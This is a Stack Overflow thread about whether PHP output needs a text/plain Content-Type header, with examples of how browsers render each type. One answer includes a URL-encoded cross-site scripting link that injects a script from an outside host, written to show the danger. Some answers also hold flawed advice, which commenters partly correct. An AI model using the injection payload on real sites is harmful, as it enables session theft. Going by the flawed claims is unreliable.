I didn't see any difference with or without this head information yet.
6 Answers
Define "necessary".
It is necessary if you want the browser to know what the type of the file is. PHP automatically sets the Content-Type
header to text/html
if you don't override it so your browser is treating it as an HTML file that doesn't contain any HTML. If your output contained any HTML you'd see very different outcomes. If you were to send:
<b><i>test</i></b>
Content-Type: text/html; charset=UTF-8
would display in the browser text in bold and italics:
✅ OK
whereas Content-Type: text/plain; charset=UTF-8
would display in the browser like this:
<b><i>✅ OK</i></b>
TLDR Version: If you really are only outputing plain text with no special characters like <
or >
then it doesn't really matter, but it IS wrong.

- 8,245
- 2
- 28
- 53

- 47,151
- 38
- 123
- 143
-
1Can you please provide a source for your statement about PHP default content type being text/html. I don't disagree, just searching for official documentation stating such. – But those new buttons though.. Jan 08 '15 at 20:11
-
10Search your php.ini for "default_mimetype". The documentation there will state "PHP's built-in default is text/html". Not sure why, but they don't actually state it in [the manual](http://php.net/manual/en/ini.core.php#ini.default-mimetype). – Jeremy Logan Jan 09 '15 at 02:45
-
1thank you. i actually posted this as a question earlier today and learned about this setting. – But those new buttons though.. Jan 09 '15 at 03:33
-
2This is dangerous advice. It does *really* matter. Sending user controlled plain text as text/html **is** a cross site scripting (XSS) attack. – rjmunro Nov 04 '16 at 12:31
-
1rjmunro is correct... in the case of user supplied data you'd really need to care. The original question didn't specify that though, so I just answered the question. – Jeremy Logan Jul 11 '18 at 01:06
-
Note that the content is the same in both cases if you look at the page source. What is different is the `content-type` header which changes how the browser renders the source. – Flimm Apr 30 '21 at 13:51
PHP uses Content-Type text/html
as default, which is pretty similar to text/plain
and this explains why you don't see any differences.
text/plain
content-type is necessary if you want to output text as is (including <
and >
symbols).
Examples:
header("Content-Type: text/plain");
echo "<b>hello world</b>";
// Displays in the browser: <b>hello world</b>
header("Content-Type: text/html");
echo "<b>hello world</b>";
// Displays in the browser with bold font: hello world

- 31,877
- 16
- 137
- 115

- 3,986
- 3
- 28
- 35
-
14
-
1Corrected => "PHP uses Content-Type "text/html" as default." – Kristoffer Bohmann Sep 13 '09 at 18:56
-
2There's a small mistake in that code. It could work on a peaceful HTTP client, but there must be a blank space between the header name and it's value: header("Content-Type: text/html"); – Angel Mar 22 '15 at 08:31
-
1
-
1I would not say that "text/html" was *'pretty similar'* to "text/plain" - it's very different. For example, if you allow user supplied text into a file with a text/html and you do not encode it correctly as html entities, you have a cross site scripting attack, even if the page would never normally be visited. An attacker just needs to convince a user to click on a link. – rjmunro Nov 04 '16 at 12:30
-
Note that the content is the same in both cases if you look at the page source. What is different is the `content-type` header which changes how the browser renders the source. – Flimm Apr 30 '21 at 13:51
It is very important that you tell the browser what type of data you are sending it. The difference should be obvious. Try viewing the output of the following PHP file in your browser;
<?php
header('Content-Type:text/html; charset=UTF-8');
?>
<p>Hello</p>
You will see:
hello
(note that you will get the same results if you miss off the header line in this case - text/html is php's default)
Change it to text/plain
<?php
header('Content-Type:text/plain; charset=UTF-8');
?>
<p>Hello</p>
You will see:
<p>Hello</p>
Why does this matter? If you have something like the following in a php script that, for example, is used by an ajax request:
<?php
header('Content-Type:text/html; charset=UTF-8');
print "Your name is " . $_GET['name']
Someone can put a link to a URL like http://example.com/test.php?name=%3Cscript%20src=%22http://example.com/eviljs%22%3E%3C/script%3E on their site, and if a user clicks it, they have exposed all their information on your site to whoever put up the link. If you serve the file as text/plain, you are safe.
Note that this is a silly example, it's more likely that the bad script tag would be added by the attacker to a field in the database or by using a form submission.

- 8,245
- 2
- 28
- 53

- 27,203
- 20
- 110
- 132
Setting the Content-Type header will affect how a web browser treats your content. When most mainstream web browsers encounter a Content-Type of text/plain, they'll render the raw text source in the browser window (as opposed to the source rendered at HTML). It's the difference between seeing
<b>foo</b>
or
foo
Additionally, when using the XMLHttpRequest
object, your Content-Type header will affect how the browser serializes the returned results. Prior to the takeover of AJAX frameworks like jQuery and Prototype, a common problem with AJAX responses was a Content-Type set to text/html instead of text/xml. Similar problems would likely occur if the Content-Type was text/plain.

- 164,128
- 91
- 395
- 599
Say you want to answer a request with a 204: No Content HTTP status. Firefox will complain with "no element found" in the console of the browser. This is a bug in Firefox that has been reported, but never fixed, for several years. By sending a "Content-type: text/plain" header, you can prevent this error in Firefox.

- 3,523
- 14
- 62
- 97
no its not like that,here is Example for the support of my answer ---->the clear difference is visible ,when you go for HTTP Compression,which allows you to compress the data while travelling from Server to Client and the Type of this data automatically becomes as "gzip" which Tells browser that bowser got a zipped data and it has to upzip it,this is a example where Type really matters at Bowser.

- 6,215
- 12
- 58
- 91
-
can please explain if i am wrong as i really want to correct my knowledge and really keen to learn.. – Ashish Agarwal Sep 12 '09 at 05:16
-
oohh !! ya sorry it just slipped from my mind,but don't you agree if you define the TYPE,it allows you to compress some selective type – Ashish Agarwal Sep 12 '09 at 05:20
-
Well sure, you can do selective compression based on MIME type (at least you can in Apache), but there's no reason to ever NOT compress text-based entities (unless the requesting party can't handle it). – Jeremy Logan Sep 12 '09 at 05:24